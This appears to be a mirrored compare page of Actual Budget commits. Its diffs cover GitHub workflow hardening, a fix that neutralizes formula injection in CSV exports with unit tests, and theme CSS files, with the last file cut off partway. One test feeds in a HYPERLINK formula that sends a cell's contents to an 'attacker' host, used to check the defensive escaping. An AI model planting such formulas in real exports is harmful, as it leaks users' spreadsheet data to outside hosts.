mirror of
https://github.com/actualbudget/actual.git
synced 2026-05-17 07:32:30 -05:00
Compare commits
9 Commits
claude/llm
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
068185751c | ||
|
|
8f0265e0b0 | ||
|
|
3494f78c94 | ||
|
|
46c350613c | ||
|
|
9b19cd2616 | ||
|
|
1f101077d6 | ||
|
|
62d7c0e479 | ||
|
|
740392941d | ||
|
|
d4528e18ea |
4
.github/actions/setup/action.yml
vendored
4
.github/actions/setup/action.yml
vendored
@@ -39,8 +39,10 @@ runs:
|
||||
path: ${{ format('{0}/**/node_modules', inputs.working-directory) }}
|
||||
key: yarn-v1-${{ runner.os }}-${{ steps.get-node.outputs.version }}-${{ hashFiles(format('{0}/**/yarn.lock', inputs.working-directory)) }}
|
||||
- name: Ensure Lage cache directory exists
|
||||
run: mkdir -p ${{ format('{0}/.lage', inputs.working-directory) }}
|
||||
run: mkdir -p "$WORKING_DIRECTORY/.lage"
|
||||
shell: bash
|
||||
env:
|
||||
WORKING_DIRECTORY: ${{ inputs.working-directory }}
|
||||
- name: Cache Lage
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
if: ${{ inputs.cache == 'true' }}
|
||||
|
||||
@@ -9,6 +9,7 @@ jobs:
|
||||
# Only run on PR comments from CodeRabbit bot
|
||||
if: github.event.issue.pull_request && github.event.comment.user.login == 'coderabbitai[bot]'
|
||||
runs-on: ubuntu-latest
|
||||
environment: ai-release-notes
|
||||
timeout-minutes: 10
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
1
.github/workflows/docs-spelling.yml
vendored
1
.github/workflows/docs-spelling.yml
vendored
@@ -146,6 +146,7 @@ jobs:
|
||||
pull-requests: write
|
||||
actions: read
|
||||
runs-on: ubuntu-latest
|
||||
environment: docs-spelling
|
||||
if: ${{
|
||||
github.event_name == 'issue_comment' &&
|
||||
github.event.issue.pull_request &&
|
||||
|
||||
@@ -12,6 +12,7 @@ permissions:
|
||||
jobs:
|
||||
extract-and-upload-i18n-strings:
|
||||
runs-on: ubuntu-latest
|
||||
environment: i18n
|
||||
if: github.repository == 'actualbudget/actual'
|
||||
steps:
|
||||
- name: Check out main repository
|
||||
|
||||
1
.github/workflows/release-notes.yml
vendored
1
.github/workflows/release-notes.yml
vendored
@@ -14,6 +14,7 @@ concurrency:
|
||||
jobs:
|
||||
release-notes:
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
steps:
|
||||
- name: Check if triggered by bot
|
||||
id: bot-check
|
||||
|
||||
1
.github/workflows/vrt-update-apply.yml
vendored
1
.github/workflows/vrt-update-apply.yml
vendored
@@ -16,6 +16,7 @@ jobs:
|
||||
apply-vrt-updates:
|
||||
name: Apply VRT Updates
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' }}
|
||||
steps:
|
||||
- name: Download patch artifact
|
||||
|
||||
@@ -154,6 +154,50 @@ describe('formatOutput', () => {
|
||||
expect(result).toContain('166500');
|
||||
expect(result).not.toContain('1665.00');
|
||||
});
|
||||
|
||||
describe('formula-injection neutralization', () => {
|
||||
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
|
||||
'prefixes a leading %j with a single quote',
|
||||
payload => {
|
||||
const data = [{ val: payload }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe(`val\n'${payload}`);
|
||||
},
|
||||
);
|
||||
|
||||
it('prefixes and quotes a leading carriage return', () => {
|
||||
const data = [{ val: '\rHELLO' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"\'\rHELLO"');
|
||||
});
|
||||
|
||||
it('quotes values containing a carriage return mid-string', () => {
|
||||
const data = [{ val: 'line1\rline2' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"line1\rline2"');
|
||||
});
|
||||
|
||||
it('neutralizes formula triggers even when the value also needs quoting', () => {
|
||||
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
const lines = result.split('\n');
|
||||
expect(lines[1]).toBe(
|
||||
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
|
||||
);
|
||||
});
|
||||
|
||||
it('does not neutralize trigger characters that appear mid-string', () => {
|
||||
const data = [{ val: 'a+b' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\na+b');
|
||||
});
|
||||
|
||||
it('does not prefix negative amount values', () => {
|
||||
const data = [{ amount: -2500 }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('amount\n-25.00');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
|
||||
if (data && typeof data === 'object') {
|
||||
const entries = Object.entries(data);
|
||||
const header = entries.map(([k]) => escapeCsv(k)).join(',');
|
||||
const values = entries
|
||||
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
|
||||
.join(',');
|
||||
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
|
||||
return header + '\n' + values;
|
||||
}
|
||||
return String(data);
|
||||
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
|
||||
const header = keys.map(k => escapeCsv(k)).join(',');
|
||||
const rows = data.map(row => {
|
||||
const r = row as Record<string, unknown>;
|
||||
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
|
||||
return keys.map(k => formatCsvCell(k, r[k])).join(',');
|
||||
});
|
||||
|
||||
return [header, ...rows].join('\n');
|
||||
}
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
function formatCsvCell(key: string, value: unknown): string {
|
||||
let formatted = formatCellValue(key, value);
|
||||
// Skip neutralization for numeric values so legitimate negative amounts
|
||||
// like "-25.00" aren't quoted as text.
|
||||
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
|
||||
formatted = "'" + formatted;
|
||||
}
|
||||
return escapeCsv(formatted);
|
||||
}
|
||||
|
||||
function escapeCsv(value: string): string {
|
||||
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
|
||||
if (
|
||||
value.includes(',') ||
|
||||
value.includes('"') ||
|
||||
value.includes('\n') ||
|
||||
value.includes('\r')
|
||||
) {
|
||||
return '"' + value.replace(/"/g, '""') + '"';
|
||||
}
|
||||
return value;
|
||||
|
||||
@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
|
||||
|
||||
import type { Preview } from '@storybook/react-vite';
|
||||
|
||||
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
|
||||
// TODO: this needs refactoring
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as lightTheme from '../../desktop-client/src/style/themes/light';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
|
||||
import darkThemeCss from '../src/themes/dark.css?inline';
|
||||
import lightThemeCss from '../src/themes/light.css?inline';
|
||||
import midnightThemeCss from '../src/themes/midnight.css?inline';
|
||||
import paletteCss from '../src/themes/palette.css?inline';
|
||||
|
||||
const THEMES = {
|
||||
light: lightTheme,
|
||||
dark: darkTheme,
|
||||
midnight: midnightTheme,
|
||||
light: lightThemeCss,
|
||||
dark: darkThemeCss,
|
||||
midnight: midnightThemeCss,
|
||||
} as const;
|
||||
|
||||
type ThemeName = keyof typeof THEMES;
|
||||
@@ -30,13 +26,10 @@ const ThemedStory = ({
|
||||
throw new Error(`No theme specified`);
|
||||
}
|
||||
|
||||
const css = Object.entries(THEMES[themeName])
|
||||
.map(([key, value]) => `--color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
|
||||
return (
|
||||
<div>
|
||||
<style>{`:root {\n${css}}`}</style>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{THEMES[themeName]}</style>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -31,6 +31,10 @@
|
||||
"./text": "./src/Text.tsx",
|
||||
"./text-one-line": "./src/TextOneLine.tsx",
|
||||
"./theme": "./src/theme.ts",
|
||||
"./themes/palette.css": "./src/themes/palette.css",
|
||||
"./themes/light.css": "./src/themes/light.css",
|
||||
"./themes/dark.css": "./src/themes/dark.css",
|
||||
"./themes/midnight.css": "./src/themes/midnight.css",
|
||||
"./tokens": "./src/tokens.ts",
|
||||
"./toggle": "./src/Toggle.tsx",
|
||||
"./tooltip": "./src/Tooltip.tsx",
|
||||
|
||||
250
packages/component-library/src/themes/dark.css
Normal file
250
packages/component-library/src/themes/dark.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray900);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray800);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple400);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-navy150);
|
||||
--color-pageText: var(--palette-navy150);
|
||||
--color-pageTextLight: var(--palette-navy300);
|
||||
--color-pageTextSubdued: var(--palette-navy500);
|
||||
--color-pageTextDark: var(--palette-navy100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple400);
|
||||
--color-pageTextLinkLight: var(--palette-purple200);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple400);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-navy800);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy700);
|
||||
--color-tableText: var(--palette-navy150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-navy500);
|
||||
--color-tableTextSelected: var(--palette-navy150);
|
||||
--color-tableTextHover: var(--palette-navy400);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy300);
|
||||
--color-tableHeaderBackground: var(--palette-navy700);
|
||||
--color-tableBorder: var(--palette-navy600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple800);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy700);
|
||||
--color-tableRowHeaderText: var(--palette-navy150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-navy500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange300);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy700);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy300);
|
||||
|
||||
--color-menuBackground: var(--palette-navy800);
|
||||
--color-menuItemBackground: var(--palette-navy800);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy500);
|
||||
--color-menuItemText: var(--palette-navy100);
|
||||
--color-menuItemTextHover: var(--palette-navy50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-navy900);
|
||||
--color-menuBorderHover: var(--palette-purple400);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-navy200);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
|
||||
--color-modalBackground: var(--palette-gray800);
|
||||
--color-modalBorder: var(--palette-navy600);
|
||||
--color-mobileHeaderBackground: var(--palette-purple800);
|
||||
--color-mobileHeaderText: var(--palette-navy150);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy700);
|
||||
--color-mobileNavBackground: var(--palette-navy800);
|
||||
--color-mobileNavItem: var(--palette-navy150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple400);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple400);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple400);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-navy700);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy150);
|
||||
--color-buttonNormalTextHover: var(--palette-navy150);
|
||||
--color-buttonNormalBackground: var(--palette-navy800);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-navy600);
|
||||
--color-buttonNormalBorder: var(--palette-navy300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy500);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-navy800);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-navy500);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green800);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green500);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange300);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple700);
|
||||
--color-upcomingText: var(--palette-purple100);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-navy800);
|
||||
--color-formInputBackgroundSelected: var(--palette-navy700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-navy600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy800);
|
||||
--color-formInputBorderSelected: var(--palette-purple400);
|
||||
--color-formInputText: var(--palette-navy150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
|
||||
--color-formInputTextSelection: var(--palette-navy800);
|
||||
--color-formInputShadowSelected: var(--palette-purple200);
|
||||
--color-formInputTextHighlight: var(--palette-purple400);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray700);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray400);
|
||||
|
||||
--color-pillBackground: var(--palette-navy800);
|
||||
--color-pillBackgroundLight: var(--palette-navy900);
|
||||
--color-pillText: var(--palette-navy200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-navy700);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-navy150);
|
||||
--color-pillBorderSelected: var(--palette-purple400);
|
||||
--color-pillTextSubdued: var(--palette-navy500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple700);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple500);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-navy900);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-navy800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple800);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy150);
|
||||
|
||||
--color-tooltipText: var(--palette-navy100);
|
||||
--color-tooltipBackground: var(--palette-navy800);
|
||||
--color-tooltipBorder: var(--palette-navy700);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
250
packages/component-library/src/themes/light.css
Normal file
250
packages/component-library/src/themes/light.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-navy100);
|
||||
--color-pageBackgroundModalActive: var(--palette-navy200);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy100);
|
||||
--color-pageBackgroundBottomRight: var(--palette-blue150);
|
||||
--color-pageBackgroundLineTop: var(--palette-white);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy100);
|
||||
--color-pageBackgroundLineBottom: var(--palette-blue150);
|
||||
--color-pageText: #272630;
|
||||
--color-pageTextLight: var(--palette-navy500);
|
||||
--color-pageTextSubdued: var(--palette-navy300);
|
||||
--color-pageTextDark: var(--palette-navy800);
|
||||
--color-pageTextPositive: var(--palette-purple600);
|
||||
--color-pageTextLink: var(--palette-blue600);
|
||||
--color-pageTextLinkLight: var(--palette-blue300);
|
||||
|
||||
--color-cardBackground: var(--palette-white);
|
||||
--color-cardBorder: var(--palette-purple700);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-white);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy50);
|
||||
--color-tableText: var(--color-pageText);
|
||||
--color-tableTextLight: var(--palette-navy400);
|
||||
--color-tableTextSubdued: var(--palette-navy100);
|
||||
--color-tableTextSelected: var(--palette-navy700);
|
||||
--color-tableTextHover: var(--palette-navy900);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy600);
|
||||
--color-tableHeaderBackground: var(--palette-white);
|
||||
--color-tableBorder: var(--palette-navy100);
|
||||
--color-tableBorderSelected: var(--palette-purple500);
|
||||
--color-tableBorderHover: var(--palette-purple400);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-blue150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy50);
|
||||
--color-tableRowHeaderText: var(--palette-navy800);
|
||||
|
||||
--color-numberPositive: var(--palette-green700);
|
||||
--color-numberNegative: var(--palette-red500);
|
||||
--color-numberNeutral: var(--palette-navy100);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange700);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy800);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy150);
|
||||
|
||||
--color-menuBackground: var(--palette-white);
|
||||
--color-menuItemBackground: var(--palette-navy50);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy100);
|
||||
--color-menuItemText: var(--palette-navy900);
|
||||
--color-menuItemTextHover: var(--color-menuItemText);
|
||||
--color-menuItemTextSelected: var(--palette-purple300);
|
||||
--color-menuItemTextHeader: var(--palette-navy400);
|
||||
--color-menuBorder: var(--palette-navy100);
|
||||
--color-menuBorderHover: var(--palette-purple100);
|
||||
--color-menuKeybindingText: var(--palette-navy400);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-white);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green150);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
|
||||
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
|
||||
|
||||
--color-modalBackground: var(--palette-white);
|
||||
--color-modalBorder: var(--palette-white);
|
||||
--color-mobileHeaderBackground: var(--palette-purple400);
|
||||
--color-mobileHeaderText: var(--palette-navy50);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy50);
|
||||
--color-mobileNavBackground: var(--palette-white);
|
||||
--color-mobileNavItem: var(--palette-gray300);
|
||||
--color-mobileNavItemSelected: var(--palette-purple500);
|
||||
--color-mobileAccountShadow: var(--palette-navy300);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple500);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple150);
|
||||
--color-markdownDark: var(--palette-purple400);
|
||||
--color-markdownLight: var(--palette-purple100);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy100);
|
||||
--color-buttonMenuTextHover: var(--palette-navy50);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple500);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-white);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy900);
|
||||
--color-buttonNormalTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonNormalBackground: var(--palette-white);
|
||||
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalBorder: var(--palette-navy150);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-blue600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy300);
|
||||
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(--palette-navy500);
|
||||
|
||||
